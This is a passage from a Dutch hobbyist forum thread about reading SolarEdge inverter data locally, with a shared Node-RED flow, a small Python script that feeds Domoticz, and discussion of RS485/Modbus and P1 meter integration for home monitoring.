Enige nadeel is dat mijn p1 meter elke 10 seconden een update geeft terwijl de se elke seconde de standen opvraagt.
Probeer een DSMR5 meter te krijgen :9 dan heb je ook elke seconde een update uit de P1.

Acties:
  • +2 Henk 'm!

  • Mich
  • Registratie: December 2000
  • Laatst online: 17-09 23:21
Ik ben bezig geweest met het uitlezen van mijn SE2200H setapp (dus geen display) via Node-Red. In Node-Red heb ik de gegevens die ik nodig heb omgezet naar json formaat en doorgestuurd via MQTT. In Home-Assistant heb ik sensors aangemaakt en een plaatje om het grafisch weer te geven. Het is nog niet 100% naar wens maar voor nu ben ik tevreden. Ik heb wel gebruik gemaakt van de proton files om de berichten te de-coderen.

inverter:
Afbeeldingslocatie: https://tweakers.net/ext/f/OULDqyAw7ij5NPcpL6CXjtrp/full.png
optimiser:
Afbeeldingslocatie: https://tweakers.net/ext/f/uiHEm8DYSMfsFJ1OSHiN6Dpj/full.png
Home-Assistant:
Afbeeldingslocatie: https://tweakers.net/ext/f/Ew5aLyyVahjMDsspWSlHXJcY/full.png

Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
MaikelK. schreef op zondag 7 juli 2019 @ 17:34:

Mijn Pi had ook al sinds de 13de last van slechte bereikbaarheid... afgelopen week heb ik een keer een update voor domoticz doorgevoerd via Putty.. Blijkbaar is daarmee het gat gedicht en bleef mijn PI weer draaien.....

Ik heb nu de volledige cronjobs waarin de worm zat leeg gegooid en hij lijkt ook niet meer actief te zijn....

Zo zie je maar weer, niet gebeurd zonder reden!
Dus, de PCAP bestanden worden iedere dag weer netjes rond 0:29 gestopt en een nieuwe gestart.

Maar de database wordt nog steeds niet gevuld met data na Unixtime 1560445719.

Ik heb de hele database al eens verwijderd via DROP etc. En opnieuw laten vullen. Ik zie dus wel dat er oude data ingegooid wordt.

Hoe kan het dat er niks na die datum geschreven wordt?

Ik kan wel ergens een PCAP uploaden/mailen zodat iemand dit kan checken of er iets fout gaat?

Ik heb al gekeken of mijn omvormer private key is veranderd. Dat is niet het geval....

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!
@MaikelK. zou het kunnen zijn dat je een firmware-update hebt gehad? Dan zou de pcap file van die dag een stukkie groter moeten zijn (paar MB extra ofzo op zijn minst). Als dat zo blijkt te zijn moet er mogelijk iets geupdatet worden aan se-logger.

Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
Jerrythafast schreef op dinsdag 9 juli 2019 @ 21:34:
@MaikelK. zou het kunnen zijn dat je een firmware-update hebt gehad? Dan zou de pcap file van die dag een stukkie groter moeten zijn (paar MB extra ofzo op zijn minst). Als dat zo blijkt te zijn moet er mogelijk iets geupdatet worden aan se-logger.
Je bedoelt op de omvormer?
Niet bewust.

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • redah
  • Registratie: Januari 2001
  • Laatst online: 18-09 15:03
Mich schreef op dinsdag 9 juli 2019 @ 14:14:
Ik ben bezig geweest met het uitlezen van mijn SE2200H setapp (dus geen display) via Node-Red. In Node-Red heb ik de gegevens die ik nodig heb omgezet naar json formaat en doorgestuurd via MQTT. In Home-Assistant heb ik sensors aangemaakt en een plaatje om het grafisch weer te geven. Het is nog niet 100% naar wens maar voor nu ben ik tevreden. Ik heb wel gebruik gemaakt van de proton files om de berichten te de-coderen.
Ik heb interesse in deze setup, aangezien ik nu m'n hele huis in Home Assistant heb en geen Domoticz gebruik zoals de andere voorbeelden in dit topic. Kun je hier wat meer over delen?

Acties:
  • 0 Henk 'm!

  • Mich
  • Registratie: December 2000
  • Laatst online: 17-09 23:21
redah schreef op woensdag 10 juli 2019 @ 12:48:
[...]


Ik heb interesse in deze setup, aangezien ik nu m'n hele huis in Home Assistant heb en geen Domoticz gebruik zoals de andere voorbeelden in dit topic. Kun je hier wat meer over delen?
Ja hoor,

Hier mijn node-red flow, die kan je inporteren in node-red en dan heb je alles goed saan voor de eerste 8 omvormers. Als je er meer hebt moet je het er zelf bijmaken.

code:
1
[{"id":"f0b58ef9.40e7d8","type":"tab","label":"SolarEdge","disabled":false,"info":""},{"id":"7c5e0663.f9fa4","type":"decode","z":"f0b58ef9.40e7d8","name":"Maintenance","protofile":"4991330e.ca8aa4","protoType":"Maintenance","x":490,"y":140,"wires":[["32e42fd9.823a1","35800be7.8a7dbc","8833cc60.74852","67129f21.20b218","9b0b3e41.4b9118","4b2b4db4.320eb4","7a3c17fc.0d1b2","bcaad5bd.65d098","7571e72d.91db88"]]},{"id":"75433137.a1299","type":"http request","z":"f0b58ef9.40e7d8","name":"","method":"GET","ret":"bin","paytoqs":false,"url":"http://192.168.1.161/web/v1/maintenance","tls":"","proxy":"","x":310,"y":140,"wires":[["7c5e0663.f9fa4"]]},{"id":"4f9d0ae5.65e04c","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 1","topic":"solaredge/optimizer01","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":140,"wires":[]},{"id":"32e42fd9.823a1","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[0].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[0].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[0].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[0].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[0].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[0].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":140,"wires":[["7d0049d7.6b95d"]]},{"id":"7d0049d7.6b95d","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":140,"wires":[["4f9d0ae5.65e04c"]]},{"id":"33e189f4.8aa6f6","type":"decode","z":"f0b58ef9.40e7d8","name":"Status","protofile":"8d70114e.9d6cd8","protoType":"Status","x":470,"y":660,"wires":[["a24f8738.121b"]]},{"id":"55378e70.102048","type":"http request","z":"f0b58ef9.40e7d8","name":"","method":"GET","ret":"bin","paytoqs":false,"url":"http://192.168.1.161/web/v1/status","tls":"","proxy":"","x":310,"y":660,"wires":[["33e189f4.8aa6f6"]]},{"id":"a24f8738.121b","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var sn = msg.payload.sn\nvar powerWatt = (msg.payload.powerWatt).toFixed(0);\nvar sOk = msg.payload.sOk\nvar status= msg.payload.status\nvar switchStatus = msg.payload.switchStatus\nvar voltage = (msg.payload.inverters.primary.voltage).toFixed(2)\nvar total = msg.payload.inverters.primary.optimizersStatus.total\nvar online = msg.payload.inverters.primary.optimizersStatus.online\nvar temp = msg.payload.inverters.primary.temperature.value\nvar energytoday = (msg.payload.energy.today / 1000).toFixed(2)\nvar energythisMonth = (msg.payload.energy.thisMonth / 1000).toFixed(2)\nvar energythisYear = (msg.payload.energy.thisYear / 1000).toFixed(2)\nvar energytotal = (msg.payload.energy.total / 1000).toFixed(2)\n\nmsg.payload = \n{\n  \"sn\" : sn,\n  \"powerw\": powerWatt,\n  \"sok\": sOk,\n  \"status\": status,\n  \"switchstatus\": switchStatus,\n  \"dcvoltage\": voltage,\n  \"opt_total\": total,\n  \"opt_online\": online,\n  \"temp\": temp,\n  \"energy_today\": energytoday,\n  \"energy_thismonth\" : energythisMonth,\n  \"energy_thisyear\": energythisYear,\n  \"energy_alltime\": energytotal\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":660,"wires":[["ddaf99ad.93c0f"]]},{"id":"8c934a10.75b5e8","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"inverter","topic":"solaredge/inverter","qos":"","retain":"true","broker":"4a5ede30.119e58","x":960,"y":660,"wires":[]},{"id":"ddaf99ad.93c0f","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":660,"wires":[["8c934a10.75b5e8"]]},{"id":"7d507b8f.7ed174","type":"inject","z":"f0b58ef9.40e7d8","name":"5 min","topic":"","payload":"","payloadType":"date","repeat":"300","crontab":"","once":true,"onceDelay":"2.5","x":130,"y":140,"wires":[["75433137.a1299"]]},{"id":"a5fd8519.e96c1","type":"inject","z":"f0b58ef9.40e7d8","name":"10 sec","topic":"","payload":"","payloadType":"date","repeat":"10","crontab":"","once":true,"onceDelay":"10","x":140,"y":660,"wires":[["55378e70.102048"]]},{"id":"92cd06da.9a0f5","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 2","topic":"solaredge/optimizer02","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":180,"wires":[]},{"id":"35800be7.8a7dbc","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[1].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[1].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[1].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[1].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[1].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[1].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":180,"wires":[["150970f1.a9d6af"]]},{"id":"150970f1.a9d6af","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":180,"wires":[["92cd06da.9a0f5"]]},{"id":"1320295a.b1055f","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 3","topic":"solaredge/optimizer03","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":220,"wires":[]},{"id":"8833cc60.74852","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[2].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[2].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[2].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[2].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[2].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[2].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":220,"wires":[["c8a3d0c3.4424a"]]},{"id":"c8a3d0c3.4424a","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":220,"wires":[["1320295a.b1055f"]]},{"id":"90c0b644.bdafd","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 4","topic":"solaredge/optimizer04","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":260,"wires":[]},{"id":"67129f21.20b218","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[3].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[3].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[3].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[3].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[3].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[3].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":260,"wires":[["fb4549d8.53ecb8"]]},{"id":"fb4549d8.53ecb8","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":260,"wires":[["90c0b644.bdafd"]]},{"id":"a93a745a.958ac8","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 5","topic":"solaredge/optimizer05","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":300,"wires":[]},{"id":"9b0b3e41.4b9118","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[4].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[4].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[4].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[4].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[4].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[4].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":300,"wires":[["d63687ea.ad02d"]]},{"id":"d63687ea.ad02d","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":300,"wires":[["a93a745a.958ac8"]]},{"id":"1d48cbc2.2bba3c","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 6","topic":"solaredge/optimizer06","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":340,"wires":[]},{"id":"4b2b4db4.320eb4","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[5].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[5].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[5].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[5].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[5].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[5].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":340,"wires":[["cc74521.8bb66b"]]},{"id":"cc74521.8bb66b","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":340,"wires":[["1d48cbc2.2bba3c"]]},{"id":"c4156b6.b28d518","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 7","topic":"solaredge/optimizer07","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":380,"wires":[]},{"id":"7a3c17fc.0d1b2","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[6].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[6].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[6].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[6].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[6].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[6].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":380,"wires":[["12ce6779.a5bbb9"]]},{"id":"12ce6779.a5bbb9","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":380,"wires":[["c4156b6.b28d518"]]},{"id":"9bd50405.c7486","type":"mqtt out","z":"f0b58ef9.40e7d8","name":"optimizer 8","topic":"solaredge/optimizer08","qos":"","retain":"true","broker":"4a5ede30.119e58","x":970,"y":420,"wires":[]},{"id":"bcaad5bd.65d098","type":"function","z":"f0b58ef9.40e7d8","name":"","func":"var serialNumber = msg.payload.diagnostics.inverters.primary.optimizer[7].serialNumber;\nvar online = msg.payload.diagnostics.inverters.primary.optimizer[7].online;\nvar outputV = msg.payload.diagnostics.inverters.primary.optimizer[7].outputV;\nvar inputV = msg.payload.diagnostics.inverters.primary.optimizer[7].inputV;\nvar inputA = msg.payload.diagnostics.inverters.primary.optimizer[7].inputC;\nvar inputW = (inputV * inputA);\nvar temperature = msg.payload.diagnostics.inverters.primary.optimizer[7].temperature.value;\n\nmsg.payload = \n{\n  \"sn\": serialNumber,\n  \"online\": online,\n  \"outputv\": outputV,\n  \"inputv\": inputV,\n  \"inputa\": inputA,\n  \"inputw\": inputW,\n  \"temp\": temperature,\n}\nreturn msg;\n","outputs":1,"noerr":0,"x":650,"y":420,"wires":[["2163da6a.18559e"]]},{"id":"2163da6a.18559e","type":"json","z":"f0b58ef9.40e7d8","name":"","property":"payload","action":"str","pretty":true,"x":790,"y":420,"wires":[["9bd50405.c7486"]]},{"id":"7571e72d.91db88","type":"debug","z":"f0b58ef9.40e7d8","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":670,"y":80,"wires":[]},{"id":"4991330e.ca8aa4","type":"protobuf-file","z":"","protopath":"/data/proto/maintenance.proto"},{"id":"4a5ede30.119e58","type":"mqtt-broker","z":"","name":"mosquito","broker":"192.168.1.188","port":"1883","clientid":"","usetls":false,"compatmode":true,"keepalive":"60","cleansession":true,"birthTopic":"","birthQos":"0","birthPayload":"","closeTopic":"","closeQos":"0","closePayload":"","willTopic":"","willQos":"0","willPayload":""},{"id":"8d70114e.9d6cd8","type":"protobuf-file","z":"","protopath":"/data/proto/status.proto"}]


Het kan zijn dat je in het pallette deze node moet installeren: node-red-contrib-protobuf

In dat blok moet je ook het path naar je proton files aangeven. Deze kan je hier downloaden: https://github.com/drobtr...tree/master/message_types

Mocht het niet lukken moet je het maar zeggen.

Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
KrL schreef op woensdag 5 juni 2019 @ 22:35:
Dus heb ik gekeken naar andere mogelijkheden waaronder de eerder genoemde solaredge-local wrapper (https://pypi.org/project/solaredge-local/). Ik heb op basis hiervan een heel simpel python script geschreven dat elke 10 seconden het huidige vermogen en de dag/totaalopbrengst uitleest en deze naar een virtuele sensor in Domoticz stuurt. Deze toont ze, slaat ze op en maakt er allerlei mooie grafieken en rapporten van.

[...]
Maar voorlopig doet m'n script wat hij moet doen en kan ik vooruit.
Hi KrL, ik heb dit script werkend maar in Domoticz zie ik nu toch vreemde resultaten mbt de energie. Ik vermoed dat het komt doordat om 0:00 uur geen reset plaats vindt en het Python script natuurlijk gewoon door blijft lopen. Pas als de omvormer weer inschakelt krijg ik '0' energie. Hoe heb je dat opgelost? Mijn domoticz device is nu structureel veel te hoog (energie)

Ugh, is volgens mij Domoticz, WhActual is wel goed, maar de grafieken zijn kapot... :(

[ Voor 4% gewijzigd door Wiley99 op 10-07-2019 17:20 ]

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
MaikelK. schreef op dinsdag 9 juli 2019 @ 23:10:
[...]


Je bedoelt op de omvormer?
Niet bewust.
Wat zou het gevolg moeten zijn geweest van de update dan? De private-key is gelijk gebleven?

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
KrL schreef op woensdag 5 juni 2019 @ 22:35:
Ik heb sinds een paar weken ook een nieuwe SolarEdge SE3680H met SetApp, zelf geïnstalleerd. Ik bestuur en monitor alles in huis met Domoticz dus heb deze draad met interesse doorgelezen. Uiteraard kan ik veel zien in de SolarEdge monitoring portal/app maar ik wil ook realtime in Domoticz mijn opbrengst/bruto/netto verbruik berekenen en zien. Een uitdaging omdat ik nog een oude vertrouwde ferrismeter heb die ik uitlees met een Youless LS120: die bepaalt het verbruik op basis van het optisch 'tellen' van de zwarte stip op de draaischijf maar kan niet zien of deze vooruit of achteruit draait, dit geeft dus een vertekend beeld icm een PV installatie.

Als ik mijn realtime opbrengst weet kan ik op basis hiervan en de Youless waarde redelijk nauwkeurig het bruto/netto verbruik berekenen. Ik heb eerst de standaard SolarEdge plugin geprobeerd (op basis van de monitoring portal API) maar de 5 minuten update frequentie is te lang, in deze tijd kan de opbrengst enorm variëren. Dus heb ik gekeken naar andere mogelijkheden waaronder de eerder genoemde solaredge-local wrapper (https://pypi.org/project/solaredge-local/). Ik heb op basis hiervan een heel simpel python script geschreven dat elke 10 seconden het huidige vermogen en de dag/totaalopbrengst uitleest en deze naar een virtuele sensor in Domoticz stuurt. Deze toont ze, slaat ze op en maakt er allerlei mooie grafieken en rapporten van.

[Afbeelding: SolarEdge sensor]
[Afbeelding: SolarEdge graphs]

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3
#
# Very simple python script to fetch power and energy from the new SolarEdge setapp web API and sends it to Domoticz
# Uses the solaredge_local wrapper 0.2.0 from David Roberts https://pypi.org/project/solaredge-local/

from solaredge_local import SolarEdge           
import urllib.request
import threading
import datetime

#vars
solaredge_url = "http://192.168.0.249"          # url of the setapp web api
domoticz_url = "http://192.168.0.4:8080"        # 
sensor_idx = 1560                   # idx of the virtual electric sensor

def run_check():
    threading.Timer(10.0, run_check).start()    # run every 10 seconds

    #get power and today/total energy from SolarEdge
    client = SolarEdge("http://192.168.0.249")
    status = client.get_status()
    power = round(status.powerWatt,1)
    energyToday = round(status.energy.today,2)
    energyTotal = round(status.energy.total,2)
    
    #send to Domoticz
    url = domoticz_url+"/json.htm?type=command&param=udevice&idx="+str(sensor_idx)+"&nvalue=0&svalue="+str(power)+";"+str(energyToday)
    urllib.request.urlopen(url).read()

    #debug
    print(str(datetime.datetime.now()) + " HTTP Request sent: " + str(url))
 
run_check()

Er is nog veel meer informatie beschikbaar en wellicht maakt iemand er nog eens een echte Domoticz plugin van die per optimizer het voltage, de temperatuur etc uitleest en hier automatisch de bijbehorende devices voor aanmaakt.

Bijvoorbeeld per optimzer in client.get_maintenance() beschikbaar:

[...]


Maar voorlopig doet m'n script wat hij moet doen en kan ik vooruit.
Hoi, heb je ook een scriptje van hoe je de optimizer uitleest. Mijn ervaring met python is nul komma nul, maar met een voorbeeld kan ik wel het e.e.a. uitproberen. Uiteindelijk wil ik de gegevens niet naar domoticz sturen maar opslaan in een database.
bij voorbaat dank.
grts René

Acties:
  • 0 Henk 'm!

  • Aegle
  • Registratie: November 2013
  • Laatst online: 23:11
Sinds 12 juli 11:30, gisteren dus, is alle logging van mijn PV er mee gestopt. Zowel de vier verschillende logdata naar PVoutput als de SE-portal. Uitgerekend als ik met vakantie ben 8)7. Hopelijk is het alleen een lokaal netwerk/internet issue en produceert de omvormer gewoon door. Ik kan mijn lokale netwerk (VPN) ook niet meer bereiken.

Het meest vreemde is dat ik wel alerts krijg van PVoutput, maar niet van de SE-portal! Terwijl ik dat wel als zodanig heb ingesteld. Gelukkig zijn we zondag weer even thuis (voor werk) en kan ik eens kijken wat er loos is. In al die jaren heb ik dit nog nooit eerder meegemaakt...

33 x ET Solar 270Wp = 8910Wp @ SMA Sunny TriPower STP 8000TL-20 Live: PVOutput


Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
Aegle schreef op zaterdag 13 juli 2019 @ 11:14:
Ik kan mijn lokale netwerk (VPN) ook niet meer bereiken.
Denk dat je dan alleen een netwerkprobleempje hebt en je gerust kan zijn over de opwek. Alleen jammer van het gat in de logging [/ocd mode]

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • 0 Henk 'm!

  • Aegle
  • Registratie: November 2013
  • Laatst online: 23:11
Er was een ALS uitgeklapt. Niet die van de omvormer, dus de productie ging vrolijk verder. Echter, wel veelnetwerkcomponenten lagen plat. Zoals ADSL-router, een paar switches, alle twee de RPi's waarvna er een als SE-logger is geconfigureerd. Inmiddels heeft de omvormer alle data weer hersteld. Die is weer up-to-date.

Echter, de lokale SE-logger wil geen verbinding met PVoutput maken: In de log staat:
cURL error, exiting: The requested URL returned error: 400 Bad Request

Wat dat nou weer is...

EDIT: SE-logger herstart en alles is weer hersteld.. _/-\o_

[ Voor 5% gewijzigd door Aegle op 14-07-2019 00:17 ]

33 x ET Solar 270Wp = 8910Wp @ SMA Sunny TriPower STP 8000TL-20 Live: PVOutput


Acties:
  • 0 Henk 'm!

  • rjhilbrink
  • Registratie: Oktober 2007
  • Laatst online: 17-09 20:38
Mich schreef op dinsdag 9 juli 2019 @ 14:09:
[...]


Probeer een DSMR5 meter te krijgen :9 dan heb je ook elke seconde een update uit de P1.
Hmm denk dat dat niet leuk is voor de beurs. Er hangt al een “slimme” meter. Helaas elke 10 seconden een update.

PV: Panasonic HIT Kuro/SolarEdge HD Wave 4.225 kWp verdeeld over 2600 Zuid Oost en 1625 Noord West


Acties:
  • 0 Henk 'm!

  • rjhilbrink
  • Registratie: Oktober 2007
  • Laatst online: 17-09 20:38
MaikelK. schreef op dinsdag 9 juli 2019 @ 09:45:
[...]


Dit klinkt erg interessant, please tell us(me) more!

Dit zou ik ook wel willen aansluiten op mij SolarEdge.
Het. Voeden van de solar edge is het makkelijkst. Rs485 dongle in een raspberry pi. Klein stukje software “pymodbus” en een klein stukje Python script. Het ophalen van de data uit de p1 meter is het moeilijkst. Ik gebruik daarvoor de api van de p1mon raspberry die ik heb draaien (naast HA en Domoticz).
Voordeel is dat je in pymodbus alleen de p1 data hoeft te vullen in de juiste registers. (Klinkt moeilijker dan het is) de rest gaat dan vanzelf. Natuurlijk wel de SE vertellen dat er een energiemeter is aangesloten.

PV: Panasonic HIT Kuro/SolarEdge HD Wave 4.225 kWp verdeeld over 2600 Zuid Oost en 1625 Noord West


Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
Het. Voeden van de solar edge is het makkelijkst. Rs485 dongle in een raspberry pi. Klein stukje software “pymodbus” en een klein stukje Python script. Het ophalen van de data uit de p1 meter is het moeilijkst. Ik gebruik daarvoor de api van de p1mon raspberry die ik heb draaien (naast HA en Domoticz).
Voordeel is dat je in pymodbus alleen de p1 data hoeft te vullen in de juiste registers. (Klinkt moeilijker dan het is) de rest gaat dan vanzelf. Natuurlijk wel de SE vertellen dat er een energiemeter is aangesloten.
Hoi is het ook mogelijk met die rs485 dongle om de encryptiekey uit te lezen, zo ja welke dongle moet ik dan hebben (linkje)
Wat betreft de P1 data, die lees ik zelf uit met een php scriptje, wat me vervolgens de data in een database propt.

Acties:
  • 0 Henk 'm!

  • rjhilbrink
  • Registratie: Oktober 2007
  • Laatst online: 17-09 20:38
René Janssen schreef op maandag 15 juli 2019 @ 16:17:
[...]


Hoi is het ook mogelijk met die rs485 dongle om de encryptiekey uit te lezen, zo ja welke dongle moet ik dan hebben (linkje)
Wat betreft de P1 data, die lees ik zelf uit met een php scriptje, wat me vervolgens de data in een database propt.
Ik heb deze http://s.aliexpress.com/7JrM7zua enige nadeel. Er zitten ledjes op die de hele ruimte verlichten (knipperend blauw).
Ik kan trouwens alleen data uitlezen geen encryptie keys.
Ik heb de dongle in een oude raspberry 1 zitten (is een dure hobby ;-) je blijft ze kopen) naast de omvormer met een kort stukje cat5.

PV: Panasonic HIT Kuro/SolarEdge HD Wave 4.225 kWp verdeeld over 2600 Zuid Oost en 1625 Noord West


Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
rjhilbrink schreef op zondag 14 juli 2019 @ 13:15:
[...]

Het. Voeden van de solar edge is het makkelijkst. Rs485 dongle in een raspberry pi. Klein stukje software “pymodbus” en een klein stukje Python script. Het ophalen van de data uit de p1 meter is het moeilijkst. Ik gebruik daarvoor de api van de p1mon raspberry die ik heb draaien (naast HA en Domoticz).
Voordeel is dat je in pymodbus alleen de p1 data hoeft te vullen in de juiste registers. (Klinkt moeilijker dan het is) de rest gaat dan vanzelf. Natuurlijk wel de SE vertellen dat er een energiemeter is aangesloten.
Zou je de scripts kunnen delen met ons?

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • Kees-Jan
  • Registratie: December 2007
  • Laatst online: 12-09 09:09
MaikelK. schreef op woensdag 17 juli 2019 @ 09:27:
[...]


Zou je de scripts kunnen delen met ons?
Ja, graag! vooral het script om de SolarEdge via RS485 uit te lezen?!

